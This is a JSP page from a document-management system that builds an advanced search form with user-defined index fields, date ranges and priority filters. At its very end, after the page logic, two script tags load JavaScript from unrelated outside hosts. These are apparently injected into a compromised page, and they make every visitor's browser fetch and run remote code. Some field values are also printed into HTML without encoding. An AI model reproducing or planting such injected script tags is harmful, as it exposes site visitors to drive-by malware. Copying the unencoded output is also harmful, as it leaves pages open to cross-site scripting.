            String[][] tmpAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, (java.sql.Connection)request.getAttribute(GlobalConstant.DB_KEY)).getOptionStringArray(setting);
          %>
            <html:select property='<%="userDef"+(i+1)%>' styleClass="form-style-2-pulldown">
              <html:options stringArray='<%=tmpAry%>'/>
            </html:select>
          <%
            } else {
            }
            boolean userDefExactMatchValue = false;
            switch (i+1) {
            case 1:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef1ExactMatch();
                break;
            case 2:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef2ExactMatch();
                break;
            case 3:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef3ExactMatch();
                break;
            case 4:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef4ExactMatch();
                break;
            case 5:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef5ExactMatch();
                break;
            case 6:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef6ExactMatch();
                break;
            case 7:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef7ExactMatch();
                break;
            case 8:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef8ExactMatch();
                break;
            case 9:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef9ExactMatch();
                break;
            case 10:
                userDefExactMatchValue=searchDmsDocumentForm.getUserDef10ExactMatch();
                break;
            } 
            if (!DmsDefaultProfileSetting.FIELD_TYPE_DATE.equals(setting.getFieldType())) {
          %>
            <html:checkbox property='<%="userDef"+(i+1)+"ExactMatch"%>' value='true'/><bean:message key="dms.label.search_enable_exactmatch"/>
          <%
            } 
          %>
        </td>
      </tr>
    <%}%>

  <!-- User Defined Field Selection -->
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.user_defined_index'/>:&nbsp;</td>
    <td class='formFieldSmall'>
    <html:select property='userDefinedFieldID' onchange='javascript:getDetail()' styleClass="form-style-2-pulldown">
      <html:options dbListName='dmsUserDefinedIndexList'/>
    </html:select>
    </td>
  </tr>
  <tr>
    <td colspan="3">
      <div class="sectionLine"></div>
    </td>
  </tr>
  <!-- UDF for Document -->

  <%
  if (!Utility.isEmpty(udfDetailList))  {
    SysUserDefinedIndexDetail udfDetail = null;
    String classType = "";
    for ( int i=0; i< udfDetailList.size(); i ++) {

      udfDetail = (SysUserDefinedIndexDetail) udfDetailList.get(i);
      String fieldValue = "";
      String fieldValueTo = "";
      String strDateValue="";
      String strDateValueTo="";
      Timestamp realDateValue = null;
      Timestamp realDateValueTo = null;
      String fieldOption = "";
      String fieldExactMatch = "";

      java.util.Date tmpDate = null;
      java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat(DmsOperationConstant.HIDDEN_DATETIME_FORMAT, new java.util.Locale("en", "US"));

      if (!Utility.isEmpty(docDetailList)) {
      for ( int j=0; j< docDetailList.size(); j ++){
        if (udfDetail.getID().equals(((DmsDocumentDetail)docDetailList.get(j)).getUserDefinedFieldDetailID())){
          if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) {
            if (((DmsDocumentDetail) docDetailList.get(j))!=null){
              if (((DmsDocumentDetail) docDetailList.get(j)).getDateValue()!=null) {
                fieldValue=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getDateValue());
                realDateValue=((DmsDocumentDetail) docDetailList.get(j)).getDateValue();
                strDateValue = TextUtility.formatTimestampToDBDate(realDateValue);

              }
            }
            if (((DmsDocumentDetail) docDetailList.get(j)).getToDateValue()!=null) {
              if (((DmsDocumentDetail) docDetailList.get(j))!=null){
                fieldValueTo=TextUtility.formatTimestampToDate(((DmsDocumentDetail) docDetailList.get(j)).getToDateValue());
                realDateValueTo=((DmsDocumentDetail) docDetailList.get(j)).getToDateValue();
                strDateValueTo = TextUtility.formatTimestampToDBDate(realDateValueTo);

              }
            }
          }//For Numeric Value
          else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())){
            if (((DmsDocumentDetail)docDetailList.get(j)).getNumericValue()!=null){
              fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getNumericValue().toString();
            }
            if (((DmsDocumentDetail)docDetailList.get(j)).getToNumericValue()!=null) {
              fieldValueTo = ((DmsDocumentDetail)docDetailList.get(j)).getToNumericValue().toString();
            }
          }//For String & SDB Value
          else {
            if (((DmsDocumentDetail)docDetailList.get(j)).getFieldValue()!=null){
              fieldValue = ((DmsDocumentDetail)docDetailList.get(j)).getFieldValue().toString();
            }
            if (((DmsDocumentDetail)docDetailList.get(j)).getToFieldValue()!=null) {
              fieldValueTo = ((DmsDocumentDetail)docDetailList.get(j)).getToFieldValue().toString();
            }
          }

          //Check for field option
          if ("OR".equals(((DmsDocumentDetail)docDetailList.get(j)).getSearchOption())) {
            fieldOption = "checked";
          }else{
            fieldOption = "";
          }

          //Check for ExactMatch option

          if (((DmsDocumentDetail)docDetailList.get(j)).getExactMatch() == true) {
            fieldExactMatch = "checked";
          }else{
            fieldExactMatch = "";
          }
          break;
        }
      }
    }
    java.text.SimpleDateFormat proSDF = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
    java.util.Date date;
    if(!Utility.isEmpty(proFromValue) && proFromValue[i]!=null){
      if("D".equals(proFieldType[i])){
    if(proFromValue[i]!=null&&!"null".equals(proFromValue[i])&&!"".equals(proFromValue[i])){
          date=proSDF.parse(proFromValue[i]);
          java.sql.Timestamp fValue=new java.sql.Timestamp(date.getTime());
          fieldValue =TextUtility.formatTimestampToDate(fValue);
    }
      }else{
        fieldValue =proFromValue[i];
      }
      if(fieldValue==null){
        fieldValue="";
      }
    }
    if(!Utility.isEmpty(proToValue) && proToValue[i]!=null){
      if("D".equals(proFieldType[i])){
      if(proFromValue[i]!=null&&!"null".equals(proFromValue[i])&&!"".equals(proFromValue[i])){
          fieldValueTo=TextUtility.formatTimestampToDate(new java.sql.Timestamp(proSDF.parse(proToValue[i]).getTime()));
      }
      }else{
        fieldValueTo=proToValue[i];
      }
       if(fieldValueTo==null){
        fieldValueTo="";
      }
    }
    if(!Utility.isEmpty(proFieldOption)){
      if("true".equals(proFieldOption[i])){
        fieldOption="checked";
      }else{
        fieldOption="";
      }
    }
    if(!Utility.isEmpty(proFieldExMatch)){
      if("true".equals(proFieldExMatch[i])){
        fieldExactMatch="checked";
      }else{
        fieldExactMatch="";
      }
    }
    if (!Utility.isEmpty(udfDetail.getFieldName())) {            %>
    <tr>
      <td class="formLabelSmall">
        <%=udfDetail.getFieldName()%>:
      </td>
      <input type="hidden" name="udfDetailID_<%= udfDetail.getID() %>">
      <input type="hidden" name="udfDetail_FieldType_<%= udfDetail.getID()%>" value="<%= udfDetail.getFieldType()%>" >
      <td class="formFieldSmall">

      <!--UDF Detail Field Value From-->
      <%String dateFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT);
        if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) { %>

      <%
        /*
         *  Update Code Start
         *  Author              Jim.Zhou
         *  Date                    2006/04/13
         *  Bug                     #4786
         */
      %>
        <!--
        <input type="text" name="dummy_udfDetail_Date_<%=udfDetail.getID()%>" maxlength="<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).length()%>" size="10" value="<%=fieldValue%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>'));">
        <a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(dummy_udfDetail_Date_<%=udfDetail.getID()%>,udfDetail_Date_<%=udfDetail.getID()%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>',true);">
    <html:img src='IconCalendar.gif'  imageName='imgCalendar_dummy_udfDetail_Date_<%=udfDetail.getID()%>' align='absmiddle' width='34' height='21' border='0' alt=''/></a>
        <input type="hidden" name="udfDetail_Date_<%=udfDetail.getID()%>" value="<%=strDateValue%>">
        -->
      <input type="text" name="dummy_udfDetail_Date_<%= udfDetail.getID() %>" class="form-style-2-textfield-day" maxlength="10" size="10" value="<%=fieldValue%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>'));">
      <a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(document.all.dummy_udfDetail_Date_<%= udfDetail.getID() %>,document.all.udfDetail_Date_<%=udfDetail.getID()%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>',true,false);">
      <html:img src='IconCalendar.gif'  imageName='imgCalendar_dummy_udfDetail_Date_<%=udfDetail.getID()%>' align='absmiddle' width='34' height='21' border='0' alt='' /></a>
      <input type="hidden" name="udfDetail_Date_<%=udfDetail.getID()%>" value="<%=realDateValue%>">
      <script>
    //joan.xiong update code for bug EIP-312 by 2006/09/19
       // var dp_temp<%=udfDetail.getID()%>=document.searchDmsDocumentForm.elements["udfDetail_Date_<%=udfDetail.getID()%>"];
       // var dummy_dp_temp<%=udfDetail.getID()%>=document.searchDmsDocumentForm.elements["dummy_udfDetail_Date_<%=udfDetail.getID()%>"];
        var dp_temp<%=udfDetail.getID()%>=document.editSearchDmsDocumentForm.elements["udfDetail_Date_<%=udfDetail.getID()%>"];
        var dummy_dp_temp<%=udfDetail.getID()%>=document.editSearchDmsDocumentForm.elements["dummy_udfDetail_Date_<%=udfDetail.getID()%>"];
    //joan.xiong update code end
      </script>
      <%
        /*
         *  Update Code End
         */
      %>


        <%}else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType()))  { %>
        <input type="FLOAT"  name="udfDetail_Number_<%=udfDetail.getID()%>" value="<%=fieldValue%>" onblur="return checkisNaN(this);">
        <%} else if (SysUserDefinedIndexDetail.STRING_FIELD.equals(udfDetail.getFieldType()))  { %>
        <input type="text" name="udfDetail_String_<%= udfDetail.getID() %>" value="<%=fieldValue %>" class="form-style-2-textfield" size='40' maxlength='85'>

        <%} else if (SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE.equals(udfDetail.getFieldType())) {%>
          <%String[] valueAry = new com.dcivision.dms.core.DocumentOperationManager(sessionContainer, conn).getUDFOptionStringArray(udfDetail);%>
          <%if (!Utility.isEmpty(valueAry)){ %>
          <select name="udfDetail_SDB_<%= udfDetail.getID() %>" class="form-style-2-pulldown">
          <%for (int x=0; x<valueAry.length; x++){
             String selected = "";
             if (TextUtility.htmlEncode(valueAry[x]).equals(fieldValue)){
                selected = "selected";
             }
           String value=valueAry[x];
           if (x==0) { value = "";}%>
           <option value="<%=value%>" <%=selected%>><%=valueAry[x]%>

          <%}%>
          </select>
          <%}%>
        <% } else {%>
          <%@include file="CustUserDefinedType.jsp"%>
        <%}%>

      <!--UDF Detail Field Value To [OPTIONAL]-->
      <%if (SysUserDefinedIndexDetail.DATE_FIELD.equals(udfDetail.getFieldType())) { %>

      -
      <input type="text" name="dummy_udfDetail_DateTo_<%= udfDetail.getID() %>" class="form-style-2-textfield-day" maxlength="10" size="10" value="<%=fieldValueTo%>"  onblur="return (fcheck_date(this, '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>'));">
      <a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status='Show Calendar';return true;" onclick="gfPop.fPopCalendar(document.all.dummy_udfDetail_DateTo_<%= udfDetail.getID() %>,document.all.udfDetail_DateTo_<%=udfDetail.getID()%>,depRange,false,'<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DATE_FORMAT).toLowerCase()%>',true,false);">
      <html:img src='IconCalendar.gif'  imageName='imgCalendar_dummy_udfDetail_DateTo_<%=udfDetail.getID()%>' align='absmiddle' width='34' height='21' border='0' alt='' /></a>
      <input type="hidden" name="udfDetail_DateTo_<%=udfDetail.getID()%>" value="<%=strDateValueTo%>">
      <script>
    //joan.xiong update code for bug EIP-312 by 2006/09/19
        //var dp_tempTo<%=udfDetail.getID()%>=document.searchDmsDocumentForm.elements["udfDetail_DateTo_<%=udfDetail.getID()%>"];
        //var dummy_dp_tempTo<%=udfDetail.getID()%>=document.searchDmsDocumentForm.elements["dummy_udfDetail_DateTo_<%=udfDetail.getID()%>"];
        var dp_tempTo<%=udfDetail.getID()%>=document.editSearchDmsDocumentForm.elements["udfDetail_DateTo_<%=udfDetail.getID()%>"];
        var dummy_dp_tempTo<%=udfDetail.getID()%>=document.editSearchDmsDocumentForm.elements["dummy_udfDetail_DateTo_<%=udfDetail.getID()%>"];
   //joan.xiong update code end
      </script>


        <!--html:datepicker property='<%="udfDetail_DateTo_" + udfDetail.getID()%>'/-->
      <% }else if (SysUserDefinedIndexDetail.NUMBER_FIELD.equals(udfDetail.getFieldType())){ %>
      -
        <input type="FLOAT" name="udfDetail_NumberTo_<%= udfDetail.getID() %>" value="<%= fieldValueTo %>" onblur="return checkisNaN(this);" >
      <% } %>
      <%
       if (SysUserDefinedIndexDetail.STRING_FIELD.equals(udfDetail.getFieldType()) || udfDetail.getFieldType().startsWith("CUST")){%>
       <input type="checkbox" name="udfDetail_StringExactMatch_<%= udfDetail.getID() %>" value="true" <%out.print(fieldExactMatch);%>/><bean:message key="dms.label.search_enable_exactmatch"/>
      <%} else {%>
      &nbsp;
      <%}%>
    </td>
    </tr>
      <%}%>
  <%}%>
<%}%>
        </table>
    </div>

  <div id="standardFilterPanel">
  <table>

  <tr>
    <td class="formLabelSmall"><bean:message key='common.label.creator'/>:</td>
    <td class="formFieldSmall">
        <html:userpicker property='creatorID' formName='editSearchDmsDocumentForm' styleClass="form-style-2-short-textfield"/>
        <html:hidden property="creatorExactMatch" />
    </td>
  </tr>

  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.effective_date'/>:</td>
    <td class="formFieldSmall">
    <html:datepicker property='effectiveStartDate' formName='editSearchDmsDocumentForm' styleClass="form-style-2-short-textfield"/>&nbsp;-&nbsp;
    <html:datepicker property='effectiveEndDate'   formName='editSearchDmsDocumentForm' styleClass="form-style-2-short-textfield"/></td>
  </tr>
  <!-- Add create date and update for searching begin -->
  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.create_date'/>:</td>
    <td class="formFieldSmall">
    <html:datepicker property='createDate' formName='editSearchDmsDocumentForm' styleClass="form-style-2-short-textfield"/>&nbsp;-&nbsp;
    <html:datepicker property='createToDate'  formName='editSearchDmsDocumentForm' styleClass="form-style-2-short-textfield"/>
    </td>
  </tr>

  <tr>
    <td class="formLabelSmall"><bean:message key='dms.label.update_date'/>:</td>
    <td class="formFieldSmall">
    <html:datepicker property='updateDate'    formName='editSearchDmsDocumentForm' styleClass="form-style-2-short-textfield"/>&nbsp;-&nbsp;
    <html:datepicker property='updateToDate'  formName='editSearchDmsDocumentForm' styleClass="form-style-2-short-textfield"/></td>

  </tr>


  <!-- Add create date and update for searching end -->

  <tr>
    <td class="formLabelSmall"><bean:message key='common.label.priority'/>:</td>
  <td class="formFieldSmall">
     <html:checkbox property="searchPriority"  value='<%=GlobalConstant.PRIORITY_LOW%>'><bean:message key='common.priority.label_1'/></html:checkbox>
     <html:checkbox property="searchPriority" value='<%=GlobalConstant.PRIORITY_MEDIUM%>'><bean:message key='common.priority.label_2'/></html:checkbox>
     <html:checkbox property="searchPriority"  value='<%=GlobalConstant.PRIORITY_HIGH%>'><bean:message key='common.priority.label_3'/></html:checkbox>
     <html:hidden property="priorityExactMatch"/>
  </td>
  </tr>
  <tr>
      <td class="formLabelSmall">
        <bean:message key='dms.label.advance_search_ignore_duplic_shortcut'/>:
      </td>

      <td class="formFieldSmall">
      	<html:radio property="ignoreDuplicateShortcut" value="OR"><bean:message key='dms.label.include'/></html:radio>
      	<html:radio property="ignoreDuplicateShortcut" value="AND"><bean:message key='dms.label.ignore'/></html:radio>
      </td>
    </tr>
  </table>
  </div>

  <div class="buttonContainer">
    <html:standardButton label="common.label.search" onClick="return OpIndexSearch()"/>
  </div>
</div>

<script language="JavaScript">
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
   <%if ("OR".equals(searchDmsDocumentForm.getSearchOption()) ||
            "true".equals(searchDmsDocumentForm.getSearchOption()) ||
            "on".equals(searchDmsDocumentForm.getSearchOption())) {%>
    if (frm.searchOption) {
      frm.searchOption.selectedIndex = 1;
    }
  <%}%>

  <%if (searchDmsDocumentForm.getDocumentNameExactMatch()){%>
    frm.documentNameExactMatch.checked="true";
  <%}%>

  <%if (searchDmsDocumentForm.getPriorityExactMatch()){%>
    frm.priorityExactMatch.checked="true";
  <%}%>

   <%if (GlobalConstant.PRIORITY_HIGH.equals(searchDmsDocumentForm.getPriority()) ||
        GlobalConstant.PRIORITY_MEDIUM.equals(searchDmsDocumentForm.getPriority()) ||
    GlobalConstant.PRIORITY_LOW.equals(searchDmsDocumentForm.getPriority()) ){%>
    frm.priority.checked="true";
  <%}%>

  <%if (searchDmsDocumentForm.getReferenceNoExactMatch()){%>
    frm.referenceNoExactMatch.checked="true";
  <%}%>

  <%if (searchDmsDocumentForm.getDescriptionExactMatch()){%>
    frm.descriptionExactMatch.checked="true";
  <%}%>

 <%if (!Utility.isEmpty(searchDmsDocumentForm.getSearchPriority())){%>
   <%for (int j = 0; j < searchDmsDocumentForm.getSearchPriority().length; j++) {
       if (GlobalConstant.PRIORITY_HIGH.equals(searchDmsDocumentForm.getSearchPriority()[j])) { %>
         frm.searchPriority[0].checked = true;
       <%}%>
     <%if (GlobalConstant.PRIORITY_MEDIUM.equals(searchDmsDocumentForm.getSearchPriority()[j])) { %>
         frm.searchPriority[1].checked = true;
       <%}%>
     <%if (GlobalConstant.PRIORITY_LOW.equals(searchDmsDocumentForm.getSearchPriority()[j])) { %>
         frm.searchPriority[2].checked = true;
       <%}%>
   <%}%>
  <%}%>
  if(frm.userDefinedFieldID&&frm.userDefinedFieldID.length > 1 ){
    for(i = 0 ;i<frm.userDefinedFieldID.length;i++ ){
      if(frm.userDefinedFieldID.options[i].value == "<%=searchDmsDocumentForm.getUserDefinedFieldID()%>" ){
        frm.userDefinedFieldID.options[i].selected = true;
      }
    }
  }

</script>
<%}catch(Exception e){
 LogFactory.getLog(this.getClass()).error(e, e);
}%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>